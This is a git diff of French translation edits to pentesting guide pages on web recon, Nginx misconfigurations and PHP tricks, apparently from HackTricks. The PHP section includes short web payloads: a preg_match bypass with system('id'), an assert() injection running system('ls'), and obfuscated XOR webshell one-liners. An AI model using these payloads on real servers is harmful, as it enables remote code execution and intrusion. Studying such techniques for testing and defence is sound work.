* Si vous jouez à un **CTF**, un "truc" "commun" est de **cacher** **des informations** à l'intérieur des commentaires à la **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et **de cacher des informations** dans un commentaire au **bas** de la page web.
|
||||
* Si vous jouez à un **CTF**, un "truc" "commun" est de **cacher** **des informations** à l'intérieur des commentaires à la **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et **cacher des informations** dans un commentaire au **bas** de la page web.
|
||||
* **Clés API** : Si vous **trouvez une clé API**, il existe un guide qui indique comment utiliser les clés API de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||
* Clés API Google : Si vous trouvez une clé API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles API la clé peut accéder.
|
||||
* **S3 Buckets** : Lors du spidering, vérifiez si un **sous-domaine** ou un **lien** est lié à un **bucket S3**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/).
|
||||
|
||||
### Découvertes spéciales
|
||||
|
||||
**Lors de** l'exécution du **spidering** et du **brute-forcing**, vous pourriez trouver des **choses intéressantes** que vous devez **noter**.
|
||||
**Lors** de l'exécution du **spidering** et du **brute-forcing**, vous pourriez trouver des **choses intéressantes** que vous devez **noter**.
|
||||
|
||||
**Fichiers intéressants**
|
||||
|
||||
|
@ -312,11 +312,11 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert lors du brute-fo
|
|||
* [Si vous trouvez un fichier _**.git**_, certaines informations peuvent être extraites](git.md).
|
||||
* Si vous trouvez un _**.env**_, des informations telles que des clés API, des mots de passe de bases de données et d'autres informations peuvent être trouvées.
|
||||
* Si vous trouvez des **points de terminaison API**, vous [devez également les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils "ressembleront probablement" à eux.
|
||||
* **Fichiers JS** : Dans la section spidering, plusieurs outils qui peuvent extraire des chemins des fichiers JS ont été mentionnés. De plus, il serait intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines occasions, un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pourriez utiliser par exemple [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* **Fichiers JS** : Dans la section spidering, plusieurs outils capables d'extraire des chemins à partir de fichiers JS ont été mentionnés. De plus, il serait intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines occasions, un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pourriez utiliser par exemple [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Vous devriez également vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables.
|
||||
* **Déobfuscateur et unpacker Javascript :** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
||||
* **Beautificateur Javascript :** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
||||
* **Déobfuscation JsFuck** (javascript avec des caractères : "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
|
||||
* **Déobfuscation JsFuck** (javascript avec caractères : "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* Dans plusieurs occasions, vous aurez besoin de **comprendre les expressions régulières** utilisées, cela sera utile : [https://regex101.com/](https://regex101.com).
|
||||
* Vous pourriez également **surveiller les fichiers où des formulaires ont été détectés**, car un changement dans le paramètre ou l'apparition d'un nouveau formulaire peut indiquer une nouvelle fonctionnalité potentiellement vulnérable.
|
||||
|
@ -361,13 +361,13 @@ Vous pouvez utiliser des outils tels que [https://github.com/dgtlmoon/changedete
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables avec un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### Commandes automatiques HackTricks
|
||||
### Commandes Automatiques HackTricks
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
|
@ -446,8 +446,8 @@ Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png"
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -36,7 +36,7 @@ proxy_pass http://127.0.0.1:8080/;
|
|||
}
|
||||
}
|
||||
```
|
||||
Dans cette configuration, `/etc/nginx` est désigné comme le répertoire racine. Cette configuration permet l'accès aux fichiers dans le répertoire racine spécifié, comme `/hello.txt`. Cependant, il est crucial de noter qu'un emplacement spécifique (`/hello.txt`) est défini. Il n'y a pas de configuration pour l'emplacement racine (`location / {...}`). Cette omission signifie que la directive racine s'applique globalement, permettant aux requêtes vers le chemin racine `/` d'accéder aux fichiers sous `/etc/nginx`.
|
||||
Dans cette configuration, `/etc/nginx` est désigné comme le répertoire racine. Cette configuration permet l'accès aux fichiers dans le répertoire racine spécifié, tel que `/hello.txt`. Cependant, il est crucial de noter qu'un emplacement spécifique (`/hello.txt`) est défini. Il n'y a pas de configuration pour l'emplacement racine (`location / {...}`). Cette omission signifie que la directive racine s'applique globalement, permettant aux requêtes vers le chemin racine `/` d'accéder aux fichiers sous `/etc/nginx`.
|
||||
|
||||
Une considération de sécurité critique découle de cette configuration. Une simple requête `GET`, comme `GET /nginx.conf`, pourrait exposer des informations sensibles en servant le fichier de configuration Nginx situé à `/etc/nginx/nginx.conf`. Définir la racine sur un répertoire moins sensible, comme `/etc`, pourrait atténuer ce risque, mais cela pourrait encore permettre un accès non intentionnel à d'autres fichiers critiques, y compris d'autres fichiers de configuration, des journaux d'accès, et même des identifiants chiffrés utilisés pour l'authentification de base HTTP.
|
||||
|
||||
|
@ -68,7 +68,7 @@ alias../ => HTTP status code 403
|
|||
```
|
||||
## Restriction de chemin non sécurisé <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||
|
||||
Vérifiez la page suivante pour apprendre comment contourner des directives comme :
|
||||
Vérifiez la page suivante pour apprendre à contourner des directives telles que :
|
||||
```plaintext
|
||||
location = /admin {
|
||||
deny all;
|
||||
|
@ -193,11 +193,11 @@ Comme indiqué dans [**cet article**](https://mizu.re/post/cors-playground), il
|
|||
|
||||
* `X-Accel-Redirect` : Indique à Nginx de rediriger en interne une requête vers un emplacement spécifié.
|
||||
* `X-Accel-Buffering` : Contrôle si Nginx doit mettre en mémoire tampon la réponse ou non.
|
||||
* `X-Accel-Charset` : Définit l'ensemble de caractères pour la réponse lors de l'utilisation de X-Accel-Redirect.
|
||||
* `X-Accel-Charset` : Définit le jeu de caractères pour la réponse lors de l'utilisation de X-Accel-Redirect.
|
||||
* `X-Accel-Expires` : Définit le temps d'expiration pour la réponse lors de l'utilisation de X-Accel-Redirect.
|
||||
* `X-Accel-Limit-Rate` : Limite le taux de transfert pour les réponses lors de l'utilisation de X-Accel-Redirect.
|
||||
|
||||
Par exemple, l'en-tête **`X-Accel-Redirect`** provoquera une **redirection** interne dans Nginx. Ainsi, avoir une configuration Nginx avec quelque chose comme **`root /`** et une réponse du serveur web avec **`X-Accel-Redirect: .env`** fera que Nginx enverra le contenu de **`/.env`** (Path Traversal).
|
||||
Par exemple, l'en-tête **`X-Accel-Redirect`** provoquera une **redirection** interne dans Nginx. Ainsi, avoir une configuration Nginx avec quelque chose comme **`root /`** et une réponse du serveur web avec **`X-Accel-Redirect: .env`** fera en sorte que Nginx envoie le contenu de **`/.env`** (Path Traversal).
|
||||
|
||||
### **Valeur par défaut dans la directive Map**
|
||||
|
||||
|
@ -224,7 +224,7 @@ Sans un `default`, un **utilisateur malveillant** peut contourner la sécurité
|
|||
|
||||
### **Vulnérabilité au Spoofing DNS**
|
||||
|
||||
Le spoofing DNS contre Nginx est réalisable sous certaines conditions. Si un attaquant connaît le **serveur DNS** utilisé par Nginx et peut intercepter ses requêtes DNS, il peut falsifier des enregistrements DNS. Cette méthode, cependant, est inefficace si Nginx est configuré pour utiliser **localhost (127.0.0.1)** pour la résolution DNS. Nginx permet de spécifier un serveur DNS comme suit :
|
||||
Le spoofing DNS contre Nginx est réalisable sous certaines conditions. Si un attaquant connaît le **serveur DNS** utilisé par Nginx et peut intercepter ses requêtes DNS, il peut usurper des enregistrements DNS. Cette méthode, cependant, est inefficace si Nginx est configuré pour utiliser **localhost (127.0.0.1)** pour la résolution DNS. Nginx permet de spécifier un serveur DNS comme suit :
|
||||
```yaml
|
||||
resolver 8.8.8.8;
|
||||
```
|
||||
|
@ -266,7 +266,7 @@ Notez que même si le `proxy_pass` pointait vers un **chemin** spécifique tel q
|
|||
|
||||
## Essayez par vous-même
|
||||
|
||||
Detectify a créé un dépôt GitHub où vous pouvez utiliser Docker pour configurer votre propre serveur de test Nginx vulnérable avec certaines des mauvaises configurations discutées dans cet article et essayer de les trouver vous-même !
|
||||
Detectify a créé un dépôt GitHub où vous pouvez utiliser Docker pour configurer votre propre serveur de test Nginx vulnérable avec certaines des erreurs de configuration discutées dans cet article et essayer de les trouver vous-même !
|
||||
|
||||
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
||||
|
||||
|
@ -274,11 +274,11 @@ Detectify a créé un dépôt GitHub où vous pouvez utiliser Docker pour config
|
|||
|
||||
### [GIXY](https://github.com/yandex/gixy)
|
||||
|
||||
Gixy est un outil pour analyser la configuration Nginx. L'objectif principal de Gixy est de prévenir les mauvaises configurations de sécurité et d'automatiser la détection des défauts.
|
||||
Gixy est un outil pour analyser la configuration Nginx. L'objectif principal de Gixy est de prévenir les erreurs de configuration de sécurité et d'automatiser la détection des défauts.
|
||||
|
||||
### [Nginxpwner](https://github.com/stark0de/nginxpwner)
|
||||
|
||||
Nginxpwner est un outil simple pour rechercher des mauvaises configurations et des vulnérabilités courantes de Nginx.
|
||||
Nginxpwner est un outil simple pour rechercher des erreurs de configuration et des vulnérabilités Nginx courantes.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -288,7 +288,7 @@ Nginxpwner est un outil simple pour rechercher des mauvaises configurations et d
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
|
|
@ -8,8 +8,8 @@ Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/grte.p
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
@ -17,7 +17,7 @@ Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/grte.p
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -55,7 +55,7 @@ Tables de comparaison PHP : [https://www.php.net/manual/en/types.comparisons.php
|
|||
* `"0xAAAA" == "43690" -> True` Les chaînes composées de nombres en format décimal ou hexadécimal peuvent être comparées à d'autres nombres/chaînes avec un résultat True si les nombres étaient les mêmes (les nombres dans une chaîne sont interprétés comme des nombres)
|
||||
* `"0e3264578" == 0 --> True` Une chaîne commençant par "0e" et suivie de n'importe quoi sera égale à 0
|
||||
* `"0X3264578" == 0X --> True` Une chaîne commençant par "0" et suivie de n'importe quelle lettre (X peut être n'importe quelle lettre) et suivie de n'importe quoi sera égale à 0
|
||||
* `"0e12334" == "0" --> True` C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de la chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des **chaînes déjà hachées** avec ce format ici : [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"0e12334" == "0" --> True` C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des **chaînes déjà hachées** avec ce format ici : [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` N'importe quelle lettre dans une chaîne est égale à int 0
|
||||
|
||||
Plus d'infos sur [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
@ -89,7 +89,7 @@ Même si `===` est **utilisé**, il pourrait y avoir des erreurs qui rendent la
|
|||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** pourrait être utilisé pour **valider l'entrée utilisateur** (il **vérifie** si un **mot/regex** de la **liste noire** est **présent** dans l'**entrée utilisateur** et si ce n'est pas le cas, le code peut continuer son exécution).
|
||||
**`preg_match()`** peut être utilisé pour **valider l'entrée utilisateur** (il **vérifie** si un **mot/regex** de la **liste noire** est **présent** dans l'**entrée utilisateur** et si ce n'est pas le cas, le code peut continuer son exécution).
|
||||
|
||||
#### Contournement de nouvelle ligne
|
||||
|
||||
|
@ -132,9 +132,9 @@ Astuce provenant de : [https://simones-organization-4.gitbook.io/hackbook-of-a-h
|
|||
En résumé, le problème se produit parce que les fonctions `preg_*` en PHP s'appuient sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont correspondues en utilisant beaucoup d'appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP, cette limite [par défaut à 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ce qui est plus que ce qui peut tenir dans la pile.
|
||||
|
||||
[Ce fil de discussion Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) a également été lié dans le post où il est question plus en profondeur de ce problème. Notre tâche était maintenant claire :\
|
||||
**Envoyer une entrée qui ferait que la regex effectue 100\_000+ récursions, provoquant un SIGSEGV, faisant que la fonction `preg_match()` retourne `false` et donc faisant croire à l'application que notre entrée n'est pas malveillante, lançant la surprise à la fin de la charge utile quelque chose comme `{system(<verybadcommand>)}` pour obtenir SSTI --> RCE --> flag :)**.
|
||||
**Envoyer une entrée qui ferait que la regex effectue 100\_000+ récursions, provoquant un SIGSEGV, faisant que la fonction `preg_match()` retourne `false`, faisant ainsi croire à l'application que notre entrée n'est pas malveillante, lançant la surprise à la fin de la charge utile quelque chose comme `{system(<verybadcommand>)}` pour obtenir SSTI --> RCE --> flag :)**.
|
||||
|
||||
Eh bien, en termes de regex, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", qui comme le [document PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) l'indique, par défaut à 1\_000\_000 (1M) dans la variable `pcre.backtrack_limit`.\
|
||||
Eh bien, en termes de regex, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", qui, comme l'indique la [documentation PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), par défaut à 1\_000\_000 (1M) dans la variable `pcre.backtrack_limit`.\
|
||||
Pour atteindre cela, `'X'*500_001` donnera 1 million d'étapes de retour en arrière (500k en avant et 500k en arrière) :
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
|
@ -173,8 +173,8 @@ Check:
|
|||
## More tricks
|
||||
|
||||
* **register\_globals**: Dans **PHP < 4.1.1.1** ou si mal configuré, **register\_globals** peut être actif (ou son comportement est imité). Cela implique que dans des variables globales comme $\_GET si elles ont une valeur par exemple $\_GET\["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser des variables** qui sont utilisées dans le code.
|
||||
* Les **cookies PHPSESSION du même domaine sont stockés au même endroit**, donc si dans un domaine **différents cookies sont utilisés dans différents chemins**, vous pouvez faire en sorte qu'un chemin **accède au cookie de l'autre chemin** en définissant la valeur de l'autre cookie de chemin.\
|
||||
De cette façon, si **les deux chemins accèdent à une variable avec le même nom**, vous pouvez faire en sorte que **la valeur de cette variable dans path1 s'applique à path2**. Et ensuite, path2 considérera comme valides les variables de path1 (en donnant au cookie le nom qui lui correspond dans path2).
|
||||
* Les **cookies PHPSESSION du même domaine sont stockés au même endroit**, donc si dans un domaine **différents cookies sont utilisés dans différents chemins** vous pouvez faire en sorte qu'un chemin **accède au cookie de l'autre chemin** en définissant la valeur de l'autre cookie de chemin.\
|
||||
De cette façon, si **les deux chemins accèdent à une variable avec le même nom** vous pouvez faire en sorte que **la valeur de cette variable dans path1 s'applique à path2**. Et ensuite, path2 considérera comme valides les variables de path1 (en donnant au cookie le nom qui lui correspond dans path2).
|
||||
* Lorsque vous avez les **noms d'utilisateur** des utilisateurs de la machine. Vérifiez l'adresse : **/\~\<USERNAME>** pour voir si les répertoires php sont activés.
|
||||
* [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
|
@ -203,7 +203,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
```
|
||||
#### Remplir un corps avant de définir les en-têtes
|
||||
|
||||
Si une **page PHP imprime des erreurs et renvoie certaines entrées fournies par l'utilisateur**, l'utilisateur peut faire en sorte que le serveur PHP renvoie un **contenu suffisamment long** pour que, lorsqu'il essaie d'**ajouter les en-têtes** à la réponse, le serveur génère une erreur.\
|
||||
Si une **page PHP imprime des erreurs et renvoie certaines entrées fournies par l'utilisateur**, l'utilisateur peut faire en sorte que le serveur PHP imprime un **contenu suffisamment long** pour que, lorsqu'il essaie d'**ajouter les en-têtes** dans la réponse, le serveur génère une erreur.\
|
||||
Dans le scénario suivant, l'**attaquant a fait en sorte que le serveur génère de grosses erreurs**, et comme vous pouvez le voir à l'écran, lorsque PHP a essayé de **modifier les informations d'en-tête, il n'a pas pu** (par exemple, l'en-tête CSP n'a pas été envoyé à l'utilisateur) :
|
||||
|
||||
![](<../../../.gitbook/assets/image (1085).png>)
|
||||
|
@ -242,7 +242,7 @@ Cette option de preg\_replace a été **dépréciée depuis PHP 5.5.0.**
|
|||
```
|
||||
### **RCE via Assert()**
|
||||
|
||||
Cette fonction dans php vous permet d'**exécuter du code qui est écrit dans une chaîne** afin de **retourner vrai ou faux** (et en fonction de cela, modifier l'exécution). En général, la variable utilisateur sera insérée au milieu d'une chaîne. Par exemple :\
|
||||
Cette fonction dans php vous permet d'**exécuter du code écrit dans une chaîne** afin de **retourner vrai ou faux** (et en fonction de cela, d'altérer l'exécution). En général, la variable utilisateur sera insérée au milieu d'une chaîne. Par exemple :\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> Dans ce cas, pour obtenir **RCE**, vous pourriez faire :
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
|
@ -295,9 +295,9 @@ Différentes shells .htaccess peuvent être trouvées [ici](https://github.com/w
|
|||
Si vous trouvez une vulnérabilité qui vous permet de **modifier les variables d'environnement en PHP** (et une autre pour télécharger des fichiers, bien que avec plus de recherche cela puisse peut-être être contourné), vous pourriez abuser de ce comportement pour obtenir **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path) : Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas cela puisse ne pas fonctionner).
|
||||
* **`PHPRC`** : Indique à PHP **où localiser son fichier de configuration**, généralement appelé `php.ini`. Si vous pouvez télécharger votre propre fichier de configuration, alors, utilisez `PHPRC` pour indiquer à PHP où le trouver. Ajoutez une entrée **`auto_prepend_file`** spécifiant un deuxième fichier téléchargé. Ce deuxième fichier contient du **code PHP normal, qui est ensuite exécuté** par le runtime PHP avant tout autre code.
|
||||
* **`PHPRC`** : Indique à PHP **où localiser son fichier de configuration**, généralement appelé `php.ini`. Si vous pouvez télécharger votre propre fichier de configuration, alors, utilisez `PHPRC` pour indiquer à PHP de l'utiliser. Ajoutez une entrée **`auto_prepend_file`** spécifiant un deuxième fichier téléchargé. Ce deuxième fichier contient du **code PHP normal, qui est ensuite exécuté** par le runtime PHP avant tout autre code.
|
||||
1. Téléchargez un fichier PHP contenant notre shellcode
|
||||
2. Téléchargez un deuxième fichier, contenant une directive **`auto_prepend_file`** instruisant le préprocesseur PHP à exécuter le fichier que nous avons téléchargé à l'étape 1
|
||||
2. Téléchargez un deuxième fichier, contenant une directive **`auto_prepend_file`** instruisant le préprocesseur PHP d'exécuter le fichier que nous avons téléchargé à l'étape 1
|
||||
3. Définissez la variable `PHPRC` sur le fichier que nous avons téléchargé à l'étape 2.
|
||||
* Obtenez plus d'infos sur comment exécuter cette chaîne [**à partir du rapport original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
* **PHPRC** - une autre option
|
||||
|
@ -330,7 +330,7 @@ phpinfo();
|
|||
```
|
||||
## Contournement de la sanitation PHP & Brain Fuck
|
||||
|
||||
[**Dans cet article**](https://blog.redteam-pentesting.de/2024/moodle-rce/) il est possible de trouver d'excellentes idées pour générer un code PHP brain fuck avec très peu de caractères autorisés.\
|
||||
[**Dans ce post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) il est possible de trouver d'excellentes idées pour générer un code PHP brain fuck avec très peu de caractères autorisés.\
|
||||
De plus, une manière intéressante d'exécuter des fonctions qui leur a permis de contourner plusieurs vérifications est également proposée :
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
|
@ -353,7 +353,7 @@ Vous pouvez utiliser le **web**[ **www.unphp.net**](http://www.unphp.net) **pour
|
|||
|
||||
Les wrappers et protocoles PHP pourraient vous permettre de **contourner les protections d'écriture et de lecture** dans un système et de le compromettre. Pour [**plus d'informations, consultez cette page**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## RCE non authentifié Xdebug
|
||||
## RCE non authentifié avec Xdebug
|
||||
|
||||
Si vous voyez que **Xdebug** est **activé** dans une sortie `phpconfig()`, vous devriez essayer d'obtenir RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
|
||||
|
@ -394,7 +394,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
|||
```
|
||||
### XOR easy shell code
|
||||
|
||||
Selon [**ce rapport**](https://mgp25.com/ctf/Web-challenge/), il est possible de générer un shellcode facile de cette manière :
|
||||
Selon [**ce rapport** ](https://mgp25.com/ctf/Web-challenge/)il est possible de générer un shellcode facile de cette manière :
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
@ -470,7 +470,7 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -25,7 +25,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
## Console RCE
|
||||
|
||||
Si le débogage est actif, vous pouvez essayer d'accéder à `/console` et d'obtenir RCE.
|
||||
Si le débogage est actif, vous pourriez essayer d'accéder à `/console` et d'obtenir RCE.
|
||||
